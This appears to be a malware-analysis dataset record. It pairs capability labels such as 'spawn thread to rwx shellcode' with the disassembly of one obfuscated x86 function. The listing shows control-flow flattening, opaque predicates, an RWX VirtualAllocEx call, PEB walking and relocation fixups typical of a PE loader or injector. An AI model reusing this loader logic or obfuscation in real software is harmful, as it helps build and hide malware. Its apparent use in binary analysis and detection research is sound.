Function at 0x40d9e0
Capabilities:
Allocate or change rwx memory
Check os version
Create thread
Get number of processors
Inspect section memory permissions
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov eax, 0x4c1e4
call fcn.0041bd10
mov eax, dword [ebp + 8]
mov dword [ebp - 0x4c1e4], eax
mov eax, dword [0x47e080]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x4c1dc], 0x7ea7a6e6
mov eax, dword [ebp - 0x4c1dc]
mov dword [ebp - 0x4c1e8], eax
sub eax, 0x816e24eb
je 0x4105ab
jmp 0x40da28
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0x84021608
je 0x40ed17
jmp 0x40da3e
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0x87f3d115
je 0x40f935
jmp 0x40da54
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0x8da203ea
je 0x40f068
jmp 0x40da6a
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0x8f5788bb
je 0x40f814
jmp 0x40da80
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0x918fd72f
je 0x410dff
jmp 0x40da96
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0x92a595b3
je 0x40ebe1
jmp 0x40daac
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0x9404ebab
je 0x40fd2b
jmp 0x40dac2
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0x9487075d
je 0x410377
jmp 0x40dad8
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0x969a1370
je 0x410fab
jmp 0x40daee
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0x96c40b5f
je 0x4102fa
jmp 0x40db04
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0x976df2b1
je 0x40ea3d
jmp 0x40db1a
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0x978c859a
je 0x40fa45
jmp 0x40db30
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0x99031f0f
je 0x4100a4
jmp 0x40db46
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0x998855a5
je 0x40ef7f
jmp 0x40db5c
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0x99ef85f9
je 0x40f2d5
jmp 0x40db72
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0x9b72507a
je 0x40ff25
jmp 0x40db88
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0x9b7e6ccd
je 0x40fcb2
jmp 0x40db9e
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0x9d44fef0
je 0x40f004
jmp 0x40dbb4
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0x9e1604b0
je 0x4110a5
jmp 0x40dbca
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xa0a0151d
je 0x40f0c4
jmp 0x40dbe0
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xa3673f38
je 0x40f09d
jmp 0x40dbf6
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xa79ba450
je 0x40f7cb
jmp 0x40dc0c
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xaa237e3a
je 0x40f75f
jmp 0x40dc22
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xaa71de64
je 0x40f579
jmp 0x40dc38
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xacf7a8f3
je 0x40ea98
jmp 0x40dc4e
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xad1d4e94
je 0x410484
jmp 0x40dc64
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xae55190b
je 0x4108f9
jmp 0x40dc7a
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xaeea8825
je 0x40ea15
jmp 0x40dc90
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xaf921eaa
je 0x410213
jmp 0x40dca6
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xb0acdf13
je 0x41003a
jmp 0x40dcbc
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xb110affb
je 0x4100bf
jmp 0x40dcd2
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xb2a62ff0
je 0x40f5ca
jmp 0x40dce8
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xb40264d6
je 0x410825
jmp 0x40dcfe
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xb4574e41
je 0x40f64c
jmp 0x40dd14
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xb4e3e366
je 0x40fc88
jmp 0x40dd2a
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xb66891bf
je 0x40ee3f
jmp 0x40dd40
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xb8f6028a
je 0x40f517
jmp 0x40dd56
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xb973ef35
je 0x410463
jmp 0x40dd6c
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xbcd12129
je 0x40f667
jmp 0x40dd82
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xbff2d5ca
je 0x41022e
jmp 0x40dd98
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xc12cb5fe
je 0x40f375
jmp 0x40ddae
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xc2b428c4
je 0x40f077
jmp 0x40ddc4
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xc411edac
je 0x40ebff
jmp 0x40ddda
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xc4f01daf
je 0x410e87
jmp 0x40ddf0
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xc703199c
je 0x410639
jmp 0x40de06
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xc8196f0b
je 0x40f6f1
jmp 0x40de1c
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xc8e09647
je 0x410d7d
jmp 0x40de32
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xc98772bf
je 0x40f868
jmp 0x40de48
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xccd40889
je 0x410f0a
jmp 0x40de5e
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xcf80b783
je 0x40eb07
jmp 0x40de74
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xd0021286
je 0x410cb9
jmp 0x40de8a
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xd062bcc2
je 0x410edd
jmp 0x40dea0
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xd0871b55
je 0x40f7da
jmp 0x40deb6
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xd3a0a6f4
je 0x410083
jmp 0x40decc
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xd481ea3b
je 0x40f631
jmp 0x40dee2
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xd55825e9
je 0x40ef57
jmp 0x40def8
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xd6558bf6
je 0x40ff87
jmp 0x40df0e
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xd845d0a0
je 0x4101a8
jmp 0x40df24
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xd9755cd5
je 0x410990
jmp 0x40df3a
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xdbe966ff
je 0x40f6e2
jmp 0x40df50
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xdc025f0e
je 0x40fa1e
jmp 0x40df66
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xdce9ad90
je 0x410277
jmp 0x40df7c
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xdd17655d
je 0x40fe29
jmp 0x40df92
mov eax, dword [ebp - 0x4c1e8]
sub eax, 0xe0b0c19d
je 0x40ec4a
mov dword [ebp - 0x4c16c], 1
mov dword [ebp - 0x4c1dc], 0x60927878
jmp 0x411177
lea eax, [ebp - 0x4c01c]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.0041ca10
add esp, 0xc
lea eax, [ebp - 0x4c060]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.0041ca10
add esp, 0xc
mov dword [ebp - 0x4c1dc], 0xacf7a8f3
jmp 0x411177
mov dword [ebp - 0x4c060], 0x44
mov eax, dword [ebp - 0x4c178]
mov ecx, dword [eax + 0xa0]
mov dword [ebp - 0x4c068], ecx
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x4c064], eax
mov eax, dword [ebp - 0x4c178]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x4c150], eax
mov eax, 0xcf80b783
mov ecx, 0x389d18dd
cmp dword [ebp - 0x4c064], 0
cmovne eax, ecx
mov dword [ebp - 0x4c1dc], eax
jmp 0x411177
mov eax, dword [ebp - 0x4c178]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x4c14c], eax
mov dword [ebp - 0x4c1dc], 0x3dd3c1bd
jmp 0x411177
mov eax, dword [ebp - 0x4c178]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x4c140], eax
mov dword [ebp - 0x4c1dc], 0xc411edac
jmp 0x411177
mov ecx, dword [ebp - 0x4c01c]
mov eax, dword [ebp - 0x4c140]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x4c180], eax
mov dword [ebp - 0x4c1dc], 0xe0b0c19d
jmp 0x411177
mov ax, word [ebp - 0x4c138]
movzx edx, ax
mov eax, dword [ebp - 0x4c13c]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x4c184], eax
mov dword [ebp - 0x4c188], 0
mov ecx, dword [0x47f54c]
mov eax, dword [0x47f548]
mov edx, ecx
add edx, 0xf0a02cec
sub edx, 1
sub edx, 0xf0a02cec
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf303c45f
mov ecx, 0xe8958b31
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c1dc], eax
jmp 0x411177
mov eax, dword [0x47f54c]
mov ecx, dword [0x47f548]
mov edx, eax
sub edx, 0x5e1eb18b
sub edx, 1
add edx, 0x5e1eb18b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x918fd72f
mov ecx, 0xf642a964
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c1dc], eax
jmp 0x411177
mov eax, dword [ebp - 0x4c188]
sub eax, 0x7e8c23a
add eax, 1
add eax, 0x7e8c23a
mov dword [ebp - 0x4c188], eax
mov dword [ebp - 0x4c1dc], 0x998855a5
jmp 0x411177
mov dword [ebp - 0x4c1dc], 0x3fbdc91e
jmp 0x411177
mov eax, dword [ebp - 0x4c17c]
mov dword [ebp - 0x4c12c], eax
mov eax, dword [ebp - 0x4c178]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x4c128], eax
mov eax, dword [0x47f54c]
mov ecx, dword [0x47f548]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8293903
mov ecx, 0x8da203ea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c1dc], eax
jmp 0x411177
mov dword [ebp - 0x4c1dc], 0xc2b428c4
jmp 0x411177
mov edx, dword [ebp - 0x4c12c]
mov esi, dword [ebp - 0x4c128]
mov eax, 0xc8196f0b
mov ecx, 0xa3673f38
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x4c1dc], eax
jmp 0x411177
mov eax, dword [ebp - 0x4c17c]
mov dword [ebp - 0x4c124], eax
mov eax, dword [ebp - 0x4c178]
mov dword [ebp - 0x4c120], eax
mov dword [ebp - 0x4c1dc], 0xa0a0151d
jmp 0x411177
mov eax, dword [0x47f54c]
mov ecx, dword [0x47f548]
mov edx, eax
sub edx, 0x34c1715b
sub edx, 1
add edx, 0x34c1715b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x420e7bf2
mov ecx, 0xe668d9b2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c1dc], eax
jmp 0x411177
mov eax, dword [ebp - 0x4c118]
sub eax, 0x78956fcc
add eax, 8
add eax, 0x78956fcc
mov dword [ebp - 0x4c1a0], eax
mov dword [ebp - 0x4c1a4], 0
mov ecx, dword [0x47f54c]
mov eax, dword [0x47f548]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc4f01daf
mov ecx, 0x69a8edc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c1dc], eax
jmp 0x411177
mov eax, dword [ebp - 0x4c1a4]
cmp eax, dword [ebp - 0x4c19c]
setl al
and al, 1
mov byte [ebp - 0x4c111], al
mov dword [ebp - 0x4c1dc], 0x6354e9b1
jmp 0x411177
mov eax, dword [ebp - 0x4c198]
mov ecx, dword [ebp - 0x4c1a0]
movzx edx, word [ecx]
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xfff
mov ecx, 0xffffffff
xor ecx, 0xd5886bd9
or edx, esi
or ecx, 0xd5886bd9
xor edx, 0xffffffff
and edx, ecx
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov ecx, dword [eax]
mov esi, dword [ebp - 0x4c108]
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, esi
add edx, ecx
xor ecx, ecx
sub ecx, edx
mov dword [eax], ecx
mov dword [ebp - 0x4c1dc], 0xaa71de64
jmp 0x411177
mov eax, dword [0x47f54c]
mov ecx, dword [0x47f548]
mov edx, eax
sub edx, 0x39d449d7
sub edx, 1
add edx, 0x39d449d7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7ba27a55
mov ecx, 0xb2a62ff0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c1dc], eax
jmp 0x411177
mov eax, dword [ebp - 0x4c1a0]
add eax, 2
mov dword [ebp - 0x4c104], eax
mov eax, dword [0x47f54c]
mov ecx, dword [0x47f548]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7ba27a55
mov ecx, 0x79d5cee2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c1dc], eax
jmp 0x411177
mov eax, dword [ebp - 0x4c104]
mov dword [ebp - 0x4c1a0], eax
mov dword [ebp - 0x4c1dc], 0xb4574e41
jmp 0x411177
mov eax, dword [ebp - 0x4c1a4]
mov dword [ebp - 0x4c100], eax
mov dword [ebp - 0x4c1dc], 0xbcd12129
jmp 0x411177
mov eax, dword [ebp - 0x4c100]
sub eax, 0xfe104d35
add eax, 1
add eax, 0xfe104d35
mov dword [ebp - 0x4c1a4], eax
mov dword [ebp - 0x4c1dc], 0xc12cb5fe
jmp 0x411177
mov dword [ebp - 0x4c1dc], 0xc8196f0b
jmp 0x411177
mov ecx, dword [0x47f54c]
mov eax, dword [0x47f548]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd062bcc2
mov ecx, 0xaa237e3a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c1dc], eax
jmp 0x411177
mov eax, dword [ebp - 0x4c17c]
mov dword [ebp - 0x4c0f8], eax
mov eax, dword [ebp - 0x4c178]
add eax, 0x18
mov dword [ebp - 0x4c0f4], eax
mov eax, dword [0x47f54c]
mov ecx, dword [0x47f548]
mov edx, eax
sub edx, 0x9213ffb0
sub edx, 1
add edx, 0x9213ffb0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd062bcc2
mov ecx, 0xa79ba450
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c1dc], eax
jmp 0x411177
mov dword [ebp - 0x4c1dc], 0xd0871b55
jmp 0x411177
mov eax, dword [ebp - 0x4c0f4]
mov ecx, dword [eax + 0x68]
mov eax, dword [ebp - 0x4c0f8]
add eax, 0x7804ddff
add eax, ecx
sub eax, 0x7804ddff
mov dword [ebp - 0x4c1a8], eax
mov dword [ebp - 0x4c1ac], 0
mov dword [ebp - 0x4c1dc], 0x8f5788bb
jmp 0x411177
mov eax, dword [ebp - 0x4c1a8]
mov dword [ebp - 0x4c0f0], eax
mov eax, dword [ebp - 0x4c1ac]
mov dword [ebp - 0x4c0ec], eax
mov dword [ebp - 0x4c1dc], 0x243893e5
jmp 0x411177
mov eax, dword [ebp - 0x4c17c]
mov ecx, dword [ebp - 0x4c1a8]
imul edx, dword [ebp - 0x4c1ac], 0x14
add ecx, edx
mov ecx, dword [ecx + 0xc]
sub eax, 0xb32a8ddf
add eax, ecx
add eax, 0xb32a8ddf
mov dword [ebp - 0x4c1b0], eax
mov eax, dword [ebp - 0x4c1b0]
mov dword [ebp - 0x4c0e8], eax
mov dword [ebp - 0x4c1dc], 0xe4d465a3
jmp 0x411177
mov ecx, dword [0x47f54c]
mov eax, dword [0x47f548]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5aad4445
mov ecx, 0xf79aa59e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c1dc], eax
jmp 0x411177
mov eax, dword [ebp - 0x4c1b8]
mov dword [ebp - 0x4c0dc], eax
mov eax, dword [ebp - 0x4c1bc]
mov dword [ebp - 0x4c0d8], eax
mov dword [ebp - 0x4c1dc], 0x978c859a
jmp 0x411177
mov edx, dword [ebp - 0x4c0dc]
mov esi, dword [ebp - 0x4c0d8]
mov eax, 0x2f815641
mov ecx, 0xf9e5c56b
cmp dword [edx + esi*4], 0
cmovne eax, ecx
mov dword [ebp - 0x4c1dc], eax
jmp 0x411177
mov eax, dword [ebp - 0x4c0c0]
mov dword [ebp - 0x4c1bc], eax
mov dword [ebp - 0x4c1dc], 0xdc025f0e
jmp 0x411177
mov eax, dword [ebp - 0x4c1ac]
sub eax, 0x2adb01ef
add eax, 1
add eax, 0x2adb01ef
mov dword [ebp - 0x4c1ac], eax
mov dword [ebp - 0x4c1dc], 0x686fc15a
jmp 0x411177
mov ecx, dword [0x47f54c]
mov eax, dword [0x47f548]
mov edx, ecx
add edx, 0x7928b6f4
sub edx, 1
sub edx, 0x7928b6f4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xccd40889
mov ecx, 0x35826620
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c1dc], eax
jmp 0x411177
mov dword [ebp - 0x4c1cc], 0x40
mov eax, dword [ebp - 0x4c184]
imul ecx, dword [ebp - 0x4c1c8], 0x28
add eax, ecx
mov dword [ebp - 0x4c0b4], eax
mov dword [ebp - 0x4c1dc], 0x375adc4d
jmp 0x411177
mov dl, byte [ebp - 0x4c0ad]
mov eax, 0xb0acdf13
mov ecx, 0x4d23c746
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c1dc], eax
jmp 0x411177
mov edx, dword [ebp - 0x4c0ac]
mov eax, 0xb0acdf13
mov ecx, 0xf9647bbd
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x4c1dc], eax
jmp 0x411177
mov eax, dword [ebp - 0x4c1d0]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x40000000
mov ecx, 0xffffffff
xor ecx, 0xb48a1fca
or eax, edx
or ecx, 0xb48a1fca
xor eax, 0xffffffff
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x4c0a5], al
mov dword [ebp - 0x4c1dc], 0xd3a0a6f4
jmp 0x411177
mov dl, byte [ebp - 0x4c0a5]
mov eax, 0x708bc44d
mov ecx, 0x99031f0f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c1dc], eax
jmp 0x411177
mov eax, dword [ebp - 0x4c1d0]
mov dword [ebp - 0x4c0a4], eax
mov dword [ebp - 0x4c1dc], 0xb110affb
jmp 0x411177
mov edx, dword [ebp - 0x4c0a4]
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x80000000
mov eax, 0xffffffff
xor eax, 0x281f1d1
or edx, ecx
or eax, 0x281f1d1
xor edx, 0xffffffff
and edx, eax
mov eax, 0x708bc44d
mov ecx, 0x1d164018
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x4c1dc], eax
jmp 0x411177
mov dword [ebp - 0x4c1dc], 0x44bf2a77
jmp 0x411177
mov eax, dword [ebp - 0x4c1d0]
mov dword [ebp - 0x4c09c], eax
mov dword [ebp - 0x4c1dc], 0xbff2d5ca
jmp 0x411177
mov eax, dword [0x47f54c]
mov ecx, dword [0x47f548]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x43365824
mov ecx, 0xdce9ad90
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c1dc], eax
jmp 0x411177
mov eax, dword [ebp - 0x4c09c]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x20000000
mov ecx, 0xffffffff
xor ecx, 0xc88236cc
or eax, edx
or ecx, 0xc88236cc
xor eax, 0xffffffff
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x4c096], al
mov eax, dword [0x47f54c]
mov ecx, dword [0x47f548]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x43365824
mov ecx, 0x96c40b5f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c1dc], eax
jmp 0x411177
mov dl, byte [ebp - 0x4c096]
mov eax, 0x71f1670d
mov ecx, 0x4c27ff04
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c1dc], eax
jmp 0x411177
mov ecx, dword [0x47f54c]
mov eax, dword [0x47f548]
mov edx, ecx
sub edx, 0xce0d1267
sub edx, 1
add edx, 0xce0d1267
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xebcc2be8
mov ecx, 0xcc62302
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c1dc], eax
jmp 0x411177
mov dl, byte [ebp - 0x4c095]
mov eax, 0x5a87c726
mov ecx, 0xad1d4e94
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c1dc], eax
jmp 0x411177
mov eax, dword [0x47f54c]
mov ecx, dword [0x47f548]
mov edx, eax
sub edx, 0xe8008077
sub edx, 1
add edx, 0xe8008077
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5b110bfb
mov ecx, 0x11d16e4f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c1dc], eax
jmp 0x411177
mov eax, dword [ebp - 0x4c090]
mov edx, dword [eax + 8]
mov esi, dword [ebp - 0x4c17c]
mov eax, dword [ebp - 0x4c184]
imul ecx, dword [ebp - 0x4c1c8], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
sub esi, 0x44b2b52e
add esi, eax
add esi, 0x44b2b52e
mov ecx, dword [ebp - 0x4c094]
lea eax, [ebp - 0x4c06c]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.0040d6a0
add esp, 0x10
mov dword [ebp - 0x4c1dc], 0x2fdc3d8b
jmp 0x411177
mov eax, dword [ebp - 0x4c08c]
mov dword [ebp - 0x4c1c8], eax
mov dword [ebp - 0x4c1dc], 0x717cb2b6
jmp 0x411177
mov dword [ebp - 0x4c1dc], 0x163b56e5
jmp 0x411177
mov dl, byte [ebp - 0x4c085]
mov eax, 0xd9755cd5
mov ecx, 0x1ed15723
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c1dc], eax
jmp 0x411177
mov eax, dword [ebp - 0x4c17c]
mov dword [ebp - 0x4c080], eax
mov eax, dword [ebp - 0x4c178]
mov dword [ebp - 0x4c07c], eax
mov dword [ebp - 0x4c1dc], 0x3de67444
jmp 0x411177
mov eax, dword [ebp - 0x4c074]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x4c16c], 0
mov ecx, dword [0x47f54c]
mov eax, dword [0x47f548]
mov edx, ecx
add edx, 0x1e280b24
sub edx, 1
sub edx, 0x1e280b24
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3f11ea0
mov ecx, 0x753466eb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c1dc], eax
jmp 0x411177
mov eax, dword [ebp - 0x4c070]
mov dword [ebp - 0x4c1ec], eax
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.0041bd00
mov eax, dword [ebp - 0x4c1ec]
lea esp, [ebp - 8]
pop esi
pop ebx
pop ebp
ret
mov dword [ebp - 0x4c1dc], 0xb66891bf
jmp 0x411177
mov eax, dword [ebp - 0x4c118]
add eax, 0x29c3957b
add eax, 8
sub eax, 0x29c3957b
mov dword [ebp - 0x4c1a0], eax
mov dword [ebp - 0x4c1a4], 0
mov dword [ebp - 0x4c1dc], 0x99ef85f9
jmp 0x411177
mov dword [ebp - 0x4c1dc], 0xaa237e3a
jmp 0x411177
mov dword [ebp - 0x4c1dc], 0x9404ebab
jmp 0x411177
mov eax, dword fs:[0x30]
mov dword [ebp - 0x4c1d4], eax
mov eax, dword [ebp - 0x4c1d4]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xc
add ecx, eax
xor eax, eax
sub eax, ecx
mov eax, dword [eax]
mov dword [ebp - 0x4c1d8], eax
mov eax, dword [ebp - 0x4c1d8]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x14
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, dword [eax]
add ecx, 0xe9f89e6a
sub ecx, 8
sub ecx, 0xe9f89e6a
mov eax, dword [ebp - 0x4c168]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x4c17c]
mov eax, dword [ebp - 0x4c1d4]
xor edx, edx
sub edx, 8
sub eax, edx
mov dword [eax], ecx
mov ecx, dword [ebp - 0x4c17c]
mov eax, dword [ebp - 0x4c168]
mov eax, dword [eax]
sub eax, 0x66501a14
mov dword [eax + 0x66501a2c], ecx
mov eax, dword [ebp - 0x4c168]
mov ecx, dword [eax]
sub ecx, 0x5343f807
